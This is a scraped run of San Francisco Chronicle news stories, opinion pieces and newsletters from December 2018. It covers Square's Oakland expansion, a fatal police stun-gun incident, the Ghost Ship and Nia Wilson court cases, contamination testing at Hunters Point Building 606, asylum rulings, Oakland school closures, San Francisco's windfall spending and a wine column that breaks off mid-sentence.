2009 by Kaiser Permanente, the citys largest private employer. BART leased 317,000 square feet for its headquarters in 2010, and Blue Shield leased 200,000 square feet in the city last year. Squares expansion will energize the Uptown neighborhood and boost local retailers, said Robert Ogilvie, Oakland director of urban planning think tank SPUR. The number of people, the activation of that building thats just great for Oakland, he said. This is an iconic building thats been brought back to life. SPUR is calling for 50,000 more jobs in downtown Oakland near transit. Office and housing prices have surged in Oakland amid strong demand from companies and residents, some of which have relocated from San Francisco. In downtown Oakland, average office asking rents were an annual $54 per square foot as of September, with an average increase of 11.1 percent a year since 2012, according to Cushman & Wakefield. Squares rent at Uptown Station wasnt disclosed, but new and renovated buildings command a premium compared with the market average. Air Quality Tracker Check levels down to the neighborhood Ratings for the Bay Area and California, updated every 10 minutes CIM Group, headquartered in Los Angeles, is Oaklands largest office landlord and owns hundreds of properties around the country. Its investors include pension funds such as the San Francisco Employees Retirement System and California Public Employees Retirement System. The scale of Squares commitment to Oakland could spur other tech companies to join, said Robert Sammons, Northwest research director at Cushman & Wakefield. Other tech companies will be closely monitoring the reaction not only from the employees but from Oakland itself. If successful, it could start a trend, Sammons said. That said, Oakland is a relatively small market regarding inventory but will be adding to it at the same time that San Franciscos will remain relatively flat. San Francisco is running out of space in new office buildings after a record-high year of leasing in 2018. Oakland has office towers at 601 City Center, Blue Shields future home, and 1100 Broadway under construction, and more large projects planned such as Eastline, which could occupy more total space than Salesforce Tower and is just two blocks from Uptown Station. An additional 8,641 housing units are under construction in Oakland, according to city data. Like other tech companies, Square, which provides credit card readers for small merchants, is also growing around the country. It signed leases this year in Atlanta and St. Louis, the hometown of founder Dorsey, who is also Twitters CEO. Square said the decision to expand outside of San Francisco preceded Proposition C, which will raise gross receipt taxes for large corporations in the city starting next year. Square opposed the tax and said it would be disproportionately hurt because of the nature of its business and would pay $20 million a year. Oakland also has a gross receipts tax that is lower than San Franciscos. Building a fair and equitable economy requires partnership, and were glad to see Square proactively taking steps to collaborate, Catherine Bracy, executive director of the TechEquity Collaborative, an Oakland group that advocates for economic inclusion, said in a statement. Were looking forward to working with Square to engage with and support the Oakland community. Roland Li is a San Francisco Chronicle staff writer. Email: roland.li@sfchronicle.com Twitter: @rolandlisf A 40-year-old man who went into cardiac arrest after being shocked with a stun gun by Alameda police this month has died, according to a report from the Alameda County district attorneys office. Navy veteran Shelby Gattenby, 40, was involved in a Dec. 5 altercation with Alameda police that culminated in the hospitalization of Gattenby as well as two officers. Two other officers were injured but not treated at hospitals. Gattenby died on Dec. 13. John Burris, an Oakland-based civil-rights attorney, said he is representing Gattenbys family and may consider legal action in the future. Right now were in the fact-gathering process, he said. Alameda police declined to comment on the incident, other than to point to a press release issued on Dec. 5. At about 2:30 a.m. that morning, patrol officers responded to a suspicious circumstance call in the 2300 block of Buena Vista Avenue after a receiving repeated calls from a man who claimed to hear people following him. Officers contacted a man upon arrival and confirmed he was the caller, according to the release. Police did not identify the caller, other than to describe him as a white 40-year-old male. Police said the man became uncooperative during the investigation, and ran away from the officers for unknown reasons. The man made his way into a patrol vehicle and tried to remove a locked patrol rifle from its mount, police said. Fearing that the male would gain control of a loaded firearm, the officers struggled with him in the vehicle before they deployed their Conducted Energy Devices in a further attempt to subdue him, the release states. The officers were able to remove the man from the vehicle, but due to his size and strength required additional police to restrain and handcuff him. The man continued to struggle with officers after he was cuffed, and several minutes later went into medical distress for unknown reasons, according to the release. The Alameda Fire Department transported the man to a local hospital, and during that journey the man went into cardiac arrest. Gattenby was initially revived and remained under treatment at the hospital, according to the press statement. The two officers who were treated at the hospital were released the same day. The official cause and manner of Gattenbys death is still pending, according to the Alameda County coroners office. The incident is being investigated internally by the Alameda Police Department, as well as the Alameda County district attorneys office, which reviews all critical police incidents in the county. Drought Map Track water shortages and restrictions across Bay Area Check the water shortage status of your area, plus see reservoir levels and a list of restrictions for the Bay Areas largest water districts. Stun guns, like Taser-brand weapons made by the Arizona company Axon, are held up as a less-lethal alternative to firearms for police who choose to use force. But law enforcements use of the weapons has also contributed to the deaths of more than 1,000 people across the U.S., including several in the Bay Area, according to a recent Reuters investigation. In Oakland, Marcelous Toney died after city police used a stun gun to restrain him in September 2017, and three people have died this year after being tased by officers in San Mateo County. The issue over whether officers should use the weapons at all has been debated in the Bay Area for years. While officers in Oakland and Alameda are outfitted with the electroshock devices, police departments in San Francisco and Berkeley have held off due to community resistance. Negotiations between the San Francisco Police Department, the citys Police Commission and the officers union nearly secured Tasers for the citys officers this year, before San Francisco supervisors cut funding for them in June. We are open to having another tool to help us be more effective police officers, said San Francisco Police spokesman Officer Robert Rueca. Megan Cassidy is a San Francisco Chronicle staff writer. Email: megan.cassidy@ sfchronicle.com Twitter: @meganrcassidy A new judge has been assigned to the Ghost Ship trial next year in Oakland, defense attorneys said Wednesday. Alameda County Superior Court Judge Trina Thompson is now expected to oversee the case against defendants Derick Almena and Max Harris, becoming the sixth judge to be assigned to the proceedings. The Ghost Ship warehouse fire killed 36 people at a music event Dec. 2, 2016, in the Fruitvale district of East Oakland. Almena and Harris each was charged with 36 counts of involuntary manslaughter. Prosecutors said that Almena was the main tenant and founder of the art collective and that Harris was his second-in-command. The pair allegedly created the dangerous conditions inside the warehouse that led to the fatal fire. Tony Serra, an attorney representing Almena, said the defense was thrilled to have Thompson take over as judge in the case. She is fair and impartial, and we are delighted to have her, Serra said. Serra noted that unlike many judges in the county and state who have prosecutorial backgrounds, Thompson spent her career as a public defender and in private practice as a criminal defense attorney before her election to the bench in 2002. Thompson was appointed by former President Barack Obama to serve on the Coordinating Council on Juvenile Justice and Delinquency Prevention. She was the first African American woman elected to the Alameda County Superior Court, according to Berkeley Law School, from which she graduated in 1986. Retired Judge Vernon Nakahara had been expected to return to the bench for the remainder of the Ghost Ship case, including a trial scheduled to begin in April. Logistical changes and several recent judicial appointments that increased the courts capacity led to Thompson being assigned, Serra said. Drought Map Track water shortages and restrictions across Bay Area Check the water shortage status of your area, plus see reservoir levels and a list of restrictions for the Bay Areas largest water districts. Judge James Cramer told attorneys about the change in a call Tuesday, Serra said. An earlier switch in the case from Presiding Judge Morris Jacobson to Cramer turned out to be significant. Jacobson presided over hearings that led to a plea agreement, but the deal was rejected by Cramer in a surprise decision when the case was transferred back to him. Cramer tossed the plea bargain after listening to testimony from friends and family of the victims. In addition to Jacobson and Cramer, and now Nakahara and Thompson, Judges Kevin Murphy and Jeffrey Horner also handled preliminary hearings. The first hearings in the case that Thompson will oversee are expected to be a pair of defense motions. One alleges destruction of evidence, and the other calls for a citizens arrests of members of the Chor family, who were landlords of the property, as well as city and county employees who went to the premises prior to the fire but failed to fix hazards inside the warehouse. Kimberly Veklerov is a San Francisco Chronicle staff writer. Email: kveklerov@sfchronicle.com Twitter: @kveklerov The defense attorney for the man accused of fatally stabbing 18-year-old Nia Wilson at an Oakland BART station this summer said her client may not be competent to stand trial, saying John Lee Cowell suffers from extreme delusion and extreme paranoia. I dont believe hes able to assist me, defense attorney Christina Moore said Thursday in Alameda County Superior Court. We are unable to have any conversation about the case. Judge James Cramer set a hearing for Dec. 27 to decide whether to temporarily suspend criminal proceedings in the case. The defenses comments drew audible gasps from the courtroom gallery, which was packed with Wilsons family and supporters. In an interview outside the courtroom, Wilsons mother, Alicia Grayson, responded angrily to the defenses words. Its a lie, she said. Thats what white privilege (does). Thats like war. All white people do is say theyre crazy. If criminal proceedings were to be suspended, the court would pick two doctors who would evaluate whether Cowell meets the legal standard of competence, Moore said after the hearing. Its not an evaluation thats determined by the defense team, she said. Its neutral, court-appointed doctors who would be making the call. A spokeswoman for the Alameda County district attorneys office declined to comment on Moores statements. Prosecutors have not yet announced whether they will seek the death penalty. Thursday wasnt the first time Cowells mental-health issues have been pointed to as the root of his problems. Shortly after his arrest, his family released a statement to KRON-TV that he had been suffering from mental illness most of his life and had been diagnosed with bipolar disorder and schizophrenia. On the evening of July 22, Cowell allegedly stabbed both Nia Wilson and her older sister, Letifah Wilson, in the neck as the three were exiting a train at the MacArthur BART Station. Drought Map Track water shortages and restrictions across Bay Area Check the water shortage status of your area, plus see reservoir levels and a list of restrictions for the Bay Areas largest water districts. Nia Wilson died at the scene, on the BART station platform. Her sister was rushed to the hospital with serious but ultimately non-fatal injuries. Cowell immediately fled, ditching his backpack and sweatshirt in the stations parking garage, police said at the time. The discovery of his belongings, including identification, touched off a daylong manhunt across the Bay Area as Cowells photos were plastered on local news sites and television stations. He was apprehended the following day at the Pleasant Hill BART Station after being spotted by another passenger. Wilsons killing drew national attention and responses from several celebrities, in large part because the incident suggested Wilsons murder was a hate crime. Wilson and her sister are black and Cowell is white. Police and prosecutors have said theres no evidence to support the theory that the killing was motivated by race. Megan Cassidy is a San Francisco Chronicle staff writer. Email: megan.cassidy@sfchronicle.com Twitter: @meganrcassidy A San Leandro physicians assistant was sentenced to 10 years in federal prison Wednesday for dispensing large amounts of opioid drugs to patients without a legitimate medical purpose. David Lague of San Mateo was convicted by a jury in July of 39 counts of illegal distribution of controlled substances. Prosecutors said he illicitly prescribed the drugs to five patients, one of whom prevailed on him to to double the prescription so that the patient could sell the pills for a profit. City employees who work at an unusual building deep inside a San Francisco Superfund site have been waiting for years to know if their surroundings are safe. But recent tests by the city health department wont provide much comfort. The structure at the former Hunters Point Naval Shipyard, which has housed police employees since 1997 and contains the citywide crime lab, is known as Building 606. In July, after The Chronicle revealed significant health hazards there and years of failed oversight by government agencies the health department promised the roughly 40 remaining employees that it would test the buildings air, soil and tap water for chemicals and radioactive substances known to exist elsewhere at the site. Since then, however, one of the most crucial tests, a search for radioactivity inside the building and in surrounding soil, has been delayed. It is not scheduled to begin until at least mid-January. Meanwhile, some tests that have been completed were minimal and poorly designed, independent experts say, raising the possibility that the people who work there are not safe. I think were really taking a risk with their lives, Police Commission member Petra DeJesus said at a Dec. 12 hearing that discussed the testing at Building 606. I dont understand why we dont really put pressure on the mayors office and expedite removing them. One of the newly completed tests was performed on the buildings tap water, and another checked a nearby pile of soil. The water-quality test discovered an elevated level of lead in one sample and did not detect many other potential contaminants. Due to concerns about the waters safety past test results discovered troubling levels of lead, petroleum byproducts and other contaminants in the tap water the Police Department has been providing bottled water to building occupants for two decades. A sample from the soil pile contained radioactive substances at levels below the Navys cleanup targets at the former shipyard, but above the default safety goals for Superfund sites set by the U.S. Environmental Protection Agency. The citys health and police departments both said the testing that has been done should reassure employees and that no workers need to be relocated. In testimony to the Police Commission, Deputy Police Chief Robert Moser said he saw no test results that required any immediate action to protect people in the building. The Department of Public Health said in a statement that the tests to date have been adequate and are part of ongoing checks that will continue next year, in collaboration with the Police Department and other agencies. The testing of the building continues to affirm that there is no evidence of health hazards in Building 606 related to the Hunters Point Naval Shipyard cleanup, said health department spokeswoman Rachael Kagan. This argument is one that the city has been repeating for 20 years, assuring police employees that they shouldnt worry about working at the building. Its what employees were told even when a toxic waste dump 2,000 feet away caught on fire in 2000 and spewed smoke for days. And they heard it again when the Navy hauled thousands of truckloads of contaminated soil and dumped them next to the building in 2007, releasing potentially radioactive dust particles into the air. Radioactivity has been the dominant concern at the site since dozens of radioactive ships were hauled back to the shipyard in 1946 after nuclear tests in the Pacific. The area also was the site of federal nuclear labs that further spread toxic elements throughout buildings and the soil. When the city promised to do more testing this year, potential exposure to radioactivity was again a significant concern of the buildings employees. The health department told occupants in July that it would perform a comprehensive search for radioactive hazards indoors and outdoors in the air filters, in the crawl space beneath the building and in the soil and parking areas around it. But five months later, that search has not begun a delay that DeJesus found troubling. Why would we delay testing? DeJesus said last week. Why wasnt that done first? City officials cited contractual issues with the person being hired to perform the search. He is a health physicist, a person trained in the effects and properties of radioactive materials. The city doesnt have a health physicist on staff. So far, only a very limited radiation scan has been performed at Building 606, confined to a single pile of soil that has been sitting next to the building for months awaiting disposal. The soil was excavated to install a new sewer tank next to the building. A contractor hired by the health department took only one sample of the soil pile to test for radioactive substances. Although the levels measured were below the Navys cleanup standards for the former shipyard, those standards are based on science that is now obsolete. Compared with the EPAs current default goals for soil at Superfund sites, the quantities of radioactive uranium-235 and cobalt-60 found in the pile are four times higher than what the federal government aims for in residential areas. They should have taken many samples, said Daniel Hirsch, an independent watchdog of environmental cleanups and the former chair of environmental and nuclear policy at UC Santa Cruz. Why would one take only a single data point if one wanted to determine safety? he asked, and why not compare it to the EPAs current safety limits. Similarly, a recent test of the tap water at Building 606 raises as many questions as it answers. According to data from the San Francisco Public Utilities Commission, whose water-quality laboratory tested the samples, the amount of lead in one sample was 31 parts per billion, about twice the regulatory action level of 15 parts per billion. If a city finds lead above this level, the EPA says, it should take steps to reduce it. But lower levels of lead may still cause health problems. Another sample taken recently at Building 606 contained lead at 11 parts per billion. The presence of lead suggests that there may be corrosion in the buildings pipes. Other types of contaminants werent detected at all in Building 606s water, including volatile organic compounds and pesticides. However, given the limited testing done, these results may not mean much, experts said. The Public Health Department tested the water from only two locations inside the building and two locations outside and took only one sample from each location. The building contains other taps that werent tested. Ideally, you would measure every tap, because they all could be different, said Kara Nelson, professor of civil and environmental engineering at UC Berkeley and an expert on urban water supplies. And then youd do two sets of samples at least. ... Its not recommended ever to put that much weight on a single sample. Weird things can happen with single samples. Drought Map Track water shortages and restrictions across Bay Area Check the water shortage status of your area, plus see reservoir levels and a list of restrictions for the Bay Areas largest water districts. Past tests done by the health department were more rigorous. Twenty years ago, industrial hygienists directed a program of water monitoring at Building 606, taking seven sets of samples over a 10-month period from 1997 to 1998. Each round of testing analyzed up to 12 samples from as many as four locations within the building. Those tests first established the presence of lead and other contaminants in the buildings water. Andrew DeGraca, director of the water quality division at the San Francisco Public Utilities Commission, told The Chronicle that if the health department wanted a higher level of certainty that Building 606s water is now safe, obviously youd go to every single tap in the building and run tests. He said officials might also perform whats known as a 10-bottle test, a procedure that involves filling 10 one-liter bottles with tap water from multiple locations and using the samples to trace the source of corrosion products. The PUC often uses the 10-bottle test when it analyzes water in San Francisco schools when lead levels are above 50 parts per billion. Asked why more rigorous tests werent performed at Building 606, DeGraca said the PUC was following the lead of the health department, which designed the testing plan and didnt ask for an opinion about the results or any corrective actions. We werent looking at the data and analyzing that, he said. That was not something we were asked to do. The health department has said that thoroughly running the water in Building 606 should eliminate any lead concerns, and there is also a plan to install water filters in the building. Bottled water will continue to be provided to Building 606 employees. In the past, the Public Health Department misled police and the public about the water at Building 606, downplaying problems and misrepresenting test results. For instance, in 2007, a top official at the health agency, Vickie Wells, wrote an email to a police captain telling him that Building 606 occupants shouldnt drink the tap water. She gave two reasons why it might be unsafe. Because the police were one of the few tenants at Hunters Point, she wrote, the water volume running through the shipyards pipes was low, possibly leading to water sitting in pipes for prolonged periods of time, which could result in water quality issues. She also pointed out that previous tests of Building 606s water had shown contamination with hydrocarbon compounds and lead. I would strongly recommend that bottled drinking water be retained for Bldg 606 at Hunters Point, Wells concluded in the email to the captain. Three years later, though, she denied ever saying that. We never recommended bottled water, Wells wrote in a 2010 email to health department colleagues. Wells has since retired. Health department spokeswoman Kagan said there was no contradiction between the two emails. The 2010 email restates what was written in the 2007 email, she said. The safety of the building, she said, has been reaffirmed each time. Jason Fagone and Cynthia Dizikes are San Francisco Chronicle staff writers. Email: jason.fagone@sfchronicle.com, cdizikes@sfchronicle.com Twitter: @jfagone, @cdizikes People fleeing gangs or domestic violence in their homeland can seek political asylum in the United States, a federal judge ruled Wednesday, saying then-Attorney General Jeff Sessions ignored the law last spring when he revoked asylum eligibility for thousands of frightened immigrants. Sessions June 11 decision that barred refuge for nearly all victims of privately inflicted violence, including domestic violence and gang terror, was arbitrary, capricious, and in violation of the immigration laws, said U.S. District Judge Emmet Sullivan of Washington, D.C. He said those laws, and the policies of previous administrations, were designed to protect migrants from being returned to countries where they would be in danger. In a separate case, a federal judge in San Francisco extended his month-old ruling allowing undocumented immigrants to seek asylum no matter where they entered the country. The Trump administration issued rules Nov. 9 banning asylum for anyone who entered illegally from Mexico outside the designated ports of entry, which currently require lengthy waiting periods in hazardous conditions. But U.S. District Judge Jon Tigar said Nov. 19 that federal law allows no such limits, and reaffirmed his conclusion in a preliminary injunction Wednesday, noting that a federal appeals court had upheld his earlier order. The administration has already asked the Supreme Court to intervene. It would be hard to imagine a more direct conflict between the law and the presidents orders, Tigar said. Sessions order limiting the grounds for asylum has required most undocumented immigrants claiming fear of domestic or gang violence to be placed in expedited removal. Under that procedure, immigrants without a credible claim to asylum are promptly deported, without a hearing before an immigration judge. But Sullivan, an appointee of President George H.W. Bush, said Wednesday that it is the will of Congress not the whims of the Executive that determines the standard for expedited removal. He issued a nationwide injunction barring further implementation of Sessions decision and ordering the government to return those who have been deported and let them reapply for asylum. The governments attempt to obliterate asylum protections is unlawful and inconsistent with our countrys long-standing commitment to provide protection to immigrants fleeing for their lives, said attorney Jennifer Chang Newell of the American Civil Liberties Union, which sued on behalf of 12 asylum-seekers. California, 17 other states and the District of Columbia have filed arguments supporting the suit. Trumps press secretary, Sarah Huckabee Sanders, said the ruling had undermined U.S. immigration law and would encourage more illegal immigration to the United States, to the benefit of ruthless smuggling organizations that too often victimize young women and children. Asylum is available to immigrants who can show they face persecution because of race, religion, nationality, political views or membership in a particular social group. It includes private abuses that the homeland government is unable or unwilling to control a category that immigration courts have interpreted to include victims of domestic violence in male-dominated countries, and of gang violence rampant in Central America. But Sessions, exercising his authority over the immigration courts, ruled in June that victims of privately inflicted gang or domestic violence would seldom be eligible for asylum. A countrys difficulty in effectively policing certain crimes does not mean it is unable or unwilling to control them, he said. The lead plaintiff in Wednesdays case left Guatemala after more than 20 years of rapes and beatings by her partner, who also beat, sexually assaulted and threatened to kill several of her children. When she complained to local police, she said, they joined her partner in evicting her from her home. Bob Egelko is a San Francisco Chronicle staff writer. Email: begelko@sfchronicle.com Twitter: @BobEgelko The song just never remains the same in the Trump White House. The official line is in a constant state of evolution at 1600 Pennsylvania Ave., but rarely has the speed of the spin accelerated more than in the past couple of weeks as disclosures from investigations into hush money to Donald Trumps mistresses and the efforts to build a Trump Tower in Moscow make it plain that the president and his surrogates have been flat-out lying on key points. How should the media treat the mouthpieces who deliberately and provably spread untruths? Washington Post media columnist Margaret Sullivan had a straightforward solution: stop giving falsehoods a megaphone. And what about Sarah Sanders, the increasingly inaccessible and incessantly deceptive White House press secretary? The frustration among the White House press corps was apparent last week when a reporter shouted, Do your job, Sarah! as she left the podium after an abbreviated and fiber-free briefing session. What were saying Lock him up? Michael Flynn, the 2016 Trump cheerleader who became his national security adviser, once led chants of lock her up with great relish. Well, his own sentencing hearing did not go so well on Tuesday, and he barely escaped a stint in the slammer himself. As our editorial notes, the standards of veracity are a little different in a courtroom than at a convention hall. A last kiss: The plight of Shaima Swileh, who just wanted to visiting her terminally ill 2-year-old son in an Oakland hospital, serves as a tragic reminder of the damage the travel ban has inflicted on families all over the country. News flash: The U.S. Senate did something worthwhile and bipartisan! And senators passed that criminal justice reform with a nice boost from ... President Trump and ... Kim Kardashian West. It was a nice turnabout from decades of escalating tough on crime bills that were both unjust and counterproductive to public safety. Trump even paused from his rants about the Witch Hunt to tweet about it. Twitter.com More praise for Trump: He followed through with his promise to ban bump stocks, the devices that were used by the gunman in the October 2017 Las Vegas massacre that killed 58 and wounded hundreds more concertgoers. Who were seeing Scott Wiener: State senator from San Francisco visited our editorial board to lay out his legislative agenda for 2019 and it is substantive and ambitious. At the top of the list is SB50, the latest version of his unsuccessful effort (SB827) to streamline higher-density development around mass transit. He also will be pushing a right-to-shelter bill to address homelessness, increased tax credits for affordable housing, criminal justice reforms and safe injection sites. Hes as serious as they come in politics. As Mayor London Breed once told me when she was on the Board of Supervisors: My workload would go down 40% if Wiener wasnt there. But dont think Wiener just worries about the wonkish stuff: Hes bringing back his plan to allow bars in certain cities (including his) to keep serving alcohol until 4 a.m. Gov. Jerry Brown vetoed the party-on bill last year (which earned the editorial distinction of our Bad Idea of the Week). It wont be the only recycled idea that will greet Gavin Newsom when he takes office. Poor Gavin is going to deal with a lot of bills Jerry vetoed, Wiener said. Bill Dodd: State senator whose vast district stretches north to nearly Santa Rosa and east to nearly Sacramento came in to chat about a huge issue in his terrain the response to wildfires that devastated a wide swath of Wine Country. Dodds efforts to work with PG&E and various other interests on legislation to keep the fire damages from bankrupting the utility or soaking customers drew a fair amount of fire, including from our editorial page. My staff didnt want me to come in here, he allowed at the opening of our meeting. To his credit, Dodd took on all questions and sounded as if his patience with PG&E had worn thin. He was not ready to determine what bills he might author this year, but did say: As a result of Paradise, there is going to be a lot of legislation this year. His potential to-do list includes legislation to force stronger oversight of PG&E by the California Public Utilities Commission. They cant just be an audit agency, he said. Where to follow us Sign up for the newsletter Want to get the latest San Francisco Chronicle Editorial Board opinions in your inbox? Subscribe to Opinion Central. See More Collapse We have a new Twitter channel, Opinion Central (@sfc_opinions). Please add it to your stream. Youll catch our editorials and opinion pieces, as well as our drive-by comments on assorted subjects in the news. Follow me on Twitter: @JohnDiazChron Also, please add our Opinion Central podcast to wherever you receive yours. This is the place for backstories and commentary with our opinion writers and special guests. Letter of the Week Carolyn Jones piece in Sunday Insight on Rethinking gift-giving drew quite a bit of reader reaction. I especially liked this one from Elaine Johnson of Greenbrae: If everyone took Carolyn Jones advice, we would have no museums or antiques! I wholly support avoiding junk, keeping clutter to a minimum, and getting rid of unused and unwanted stuff. But Jones advice to throw everything out, even the good things, misses an important point. Polishing my mother-in-laws silver candlesticks in preparation for Christmas company, I remember that her bridesmaids gave them to her for her wedding in 1923, having bought them at Shreve & Co. Stuff can keep tradition alive, as well as the ties we have to those long departed. As with everything, there is a happy medium to be struck between wanton discarding and pointless hoarding. And please check out our other letters of the day responding to this and other matters. You can send us a letter via this form. Just a reminder The Chronicles editorials represent the collective judgment of our Editorial Board, which includes the publisher as well as the writers and editors from the opinion team. Our editors and reporters on the news side are not involved in those decisions (including election endorsements). They are charged with reporting fairly and objectively without regard to our editorial positions. It is one of the core values here at Fifth and Mission streets. Opinion Central is a thrice-weekly newsletter from John Diaz, The Chronicles editorial page editor, and the rest of the Editorial Board. Follow along on Twitter: @sfc_opinions The Oakland school district is considering closing 24 more public schools. Oakland has already closed 15 schools, even though the city population is growing. An extensive study of public school closures, conducted by the National Education Policy Center, indicates that closing schools in urban communities does not save money and causes the greatest harm to the lowest income students. Closures do not save money on buildings, because the district may be forced to give the closed facility to a charter school, and the school to which students are transferred often needs renovation to accommodate the transferring students. Closing schools disrupts the lives of children and drives more students out of the district, resulting in lower enrollment and further budget problems. A 2012 audit of Washington, D.C.s closure of 23 schools found that the cost of the closures was $39 million, four times what the district was expected to save. In Oakland, the school closings are especially unfair. Of the 24 threatened schools, all are in the low-income flatland neighborhoods; zero are in the affluent hill area; and zero are charter schools. The 15 schools that were already closed are also in the lower-income areas. When these facts are raised the hand-wringing begins. We know these are difficult decisions, but... These are not difficult decisions. They are wrong and unnecessary decisions. So who is making them? In 2003 the state took over the Oakland school district, a step which has since been condemned by many. The district argued that it did not need a loan because it could borrow from its own construction bonds, a step which had been taken by other districts. At the insistence of then-state Sen. Don Perata, the state imposed a $100 million loan which was three times more than the highest estimate of the district deficit. The power of the elected school board was removed; a series of state administrators had total authority over the funds with no input from anyone in Oakland. Most of the money was spent on items that had nothing to do with the stated purpose of the takeover correcting the finances. And, by the end of the takeover period, the districts finances were in worse shape than before the state took control. Yet the state continued its power over the district through the non-elected, Bakersfield-based Fiscal Crisis Management and Assistance Team and a state trustee. With all this help, the district now owes $40 million, which is more than the highest estimate of what Oakland needed in 2003. There are other ways that the state makes both the financial and educational situation difficult. The state is in charge of who gets to teach. Its nonelected, nearly invisible Commission on Teacher Credentialing increases bureaucratic requirements, tests and fees almost every year, leading to an artificial teacher shortage, particularly of Latino and African American teachers who are least likely to afford the extra time and money required to jump through the ever-expanding series of hoops. A school with a constantly rotating set of temporary teachers is unlikely to be the first choice of parents. And then there are the charter school laws, which do not allow a district to control how many charters open within its jurisdiction and will not allow districts to close any of them. The State of California is the fifth largest economy in the world. It has a super-majority of Democrats in its Legislature and a large budget surplus. Yet for 15 years, it has played the role of hostile mortgage-holder to the Oakland schools. The State of California needs to rescind the remaining debt, help the district maintain rather than close its community schools, and reform the laws that make quality education for nonaffluent Californians impossible. We hope that newly elected State Superintendent of Public Instruction Tony Thurmond will take up that task. Kitty Kelly Epstein is an education professor and the author of two books about Oakland. San Francisco Mayor London Breed announced a detailed spending plan for the citys $181 million windfall Thursday that would steer all the money toward homelessness and housing initiatives. Its the most specific proposal to emerge yet for spending the unexpected influx of cash left from a state program that allocates local property taxes for public schools. Some San Francisco officials have called for spreading the money around to a variety of programs, including raising teacher salaries. Breed, however, has been adamant that all the money should be directed at programs aimed at reducing homelessness and creating more low-cost housing. When I am out on the streets of San Francisco, people want to know what we can do to address homelessness and housing costs in this city, the mayor said in a statement. We must take opportunities like this to invest in solutions we know work for our residents who need them the most. Her spending plan includes $20 million to purchase 65 residential units under the citys Small Sites Program, which helps residents avoid eviction or displacement; $42 million to help complete a building to house formerly homeless people at 1064 and 1068 Mission St..; $11 million to expand existing Navigation Centers; and $4 million to expand street-cleaning programs. The city received a total of $415 million in windfall revenue last month. More than half the money must go toward budget reserves and certain city agencies, including the Municipal Transportation Agency. But the mayor and Board of Supervisors have free rein over how to spend $181 million. The mayor sees the money as a way to meet the goals of Proposition C, a November ballot measure which she opposed that would raise $300 million a year in taxes from the citys largest businesses to fund homeless services. Hearst Corp., which owns The Chronicle, would be subject to the tax. Voters approved Prop. C, but not by the two-thirds margin that would head off a possible lawsuit by opponents. As a result, the money being raised by the tax is in limbo. Breed officially announced her plan at a news conference with housing advocates and public housing residents who said they would benefit from the extra money. Her proposal will go before the Board of Supervisors early next year. I support investing every penny of available funds into homelessness and housing, said Myrna Melgar, vice president of the Planning Commission and executive director of the Jamestown Community Center. We have many needs in this city, like education and transportation and youth (services). But nothing else works if we dont have stable housing. Mohammed Nuru, director of Public Works, said Breeds proposal is a reflection of what weve heard from the larger community. There are a million things we could ask for. But we have to focus on what is going to make the biggest difference. Breeds spending plan How San Francisco Mayor London Breed would spend the city's $181 million windfall (figures are rounded): Affordable housing $42 million to help complete construction of a project at 1064-1068 Mission St. that will house about 255 formerly homeless people. $20 million to purchase 65 residential units under the Small Sites Program, in which the city buys affordable units to keep them available for low-income people. $14 million to help buy an affordable-housing site, most likely in the Mission District. $9 million to upgrade 1,105 units at the Potrero and Sunnydale public housing developments. The upgrades include removing lead paint and improving plumbing systems. $6 million to support predevelopment work for three affordable-housing projects. Homelessness and related initiatives $30 million to lease about 300 units of supportive-housing units in single-room occupancy buildings. $27 million to create 200 shelter beds under the SAFE Center model, which incorporates aspects of Navigation Centers. $11 million for construction costs and four years of operational costs for expanding three Navigation Centers, shelters that offer case management and allow residents to bring their partners, pets and belongings. $10 million for 72 recovery beds for patients leaving treatment programs. $9 million for 14 mental-health beds at St. Mary's Medical Center. $4 million to expand street cleaning programs and the Pit Stop Program, which provides staffed public restrooms in the Tenderloin and other neighborhoods. See More Collapse Other officials have their own ideas on how to spend the money. A group of supervisors proposed spending it on energy independence and child care, in addition to homelessness and housing initiatives. Schools Superintendent Vincent Matthews said $60 million should go toward critical education-related purposes, including educator salaries. Public schools will get about $35 million for youth services and rainy day reserves from the portion of the windfall mandated to go to certain designated agencies. The board will take up the question of what to do with the $181 million early next year, after three new supervisors are sworn in Matt Haney, Shamann Walton and Gordon Mar. All have said they would push for a portion of the extra funding to go toward public education. Trisha Thadani is a San Francisco Chronicle staff writer. Email: tthadani@sfchronicle.com Twitter: @TrishaThadani Drumroll please. This morning we announced The Chronicles 2018 Winemaker of the Year: Ian Brand. The creator of labels including Le Ptit Paysan and La Marea, Brand has a vision for revolutionizing California table wine, for saving historic vineyards and for revitalizing the Monterey Bay regions wine industry. In a landscape that feels increasingly split between the high end and the low, between the natural and the industrial, Brand epitomizes a middle and ultimately, for California, better way. As I expect some of you to point out, Brand also carries considerably less name recognition than some of the previous Chronicle Winemakers of the Year, a roster that includes Cathy Corison, Paul Draper and Josh Jensen groundbreaking figures who, by the time they received The Chronicle honor, had already proven their importance to the California wine canon. Thats by design. This year, were not naming inductees to a hall of fame. Instead, were trying, as a winemaker would, to capture the vintage. To find a person whose story illuminates the story of California wine in the year 2018. And to make a critical statement about how California wine ought to proceed in the future. To learn why Ian Brand accomplishes all that, read the story. (He joins a distinguished group. If youre curious to read my previous Winemaker of the Year features, here they are: Dan Petroski, 2017; Michael Cruse, 2016; Bibiana Gonzalez Rave, 2015). And thats not all! Our 2018 Winemakers to Watch feature also went live today, in which I share five wine producers from Santa Barbara County to Oregon, making everything from Semillon to Nebbiolo, who I believe will be shaking up the West Coast wine world in the years ahead. What Im drinking Liz Hafalia / The Chronicle If you read the Winemaker of the Year story, youll know I believe Ian Brands Le Ptit Paysan Chardonnay, Cabernet Sauvignon and Grenache wines are among the absolute best values in California wine today, all less than $25. But if you seek out just one of Brands wines, make it the I. Brand & Family Enz Vineyard Mourvedre ($42), a wine thats both dense and fresh, spicy and tart, powerful but quiet. Brand isnt the only one making great Mourvedre from Enz, and if you like his version you might consider seeking out the counterparts from Birichino, Sandlands, Dirty & Rowdy and Penville. Where Im drinking Jessica Christian/The Chronicle I cant urge you strongly enough to read Emma Silvers Drink Up column this week about the glut of holiday-theme (and corporate-branded) pop-up bars, especially the nationwide pop-up chain Miracle, which is currently taking over Pacific Cocktail Haven near Union Square. The place is a Macys display window come to life, Silver writes, a winking caricature of our taste for aesthetic excess sans substance, with a self-aware whiff of the flashy nothingness that has fueled the rise of social media-centered pop-up experiences. What Im reading Little-known fact: Cork taint can infect a lot more than just corks. Opus One is suing a cooperage for almost $500,000, alleging that its barrels were infected with 2,4,6-trichloroanisole (TCA), otherwise known as cork taint, and consequently ruined 10 barrels worth of wine. (This is not the first high-profile Napa winery to discover that winery equipment is contaminated with TCA, by the way. In the early 2000s, Wine 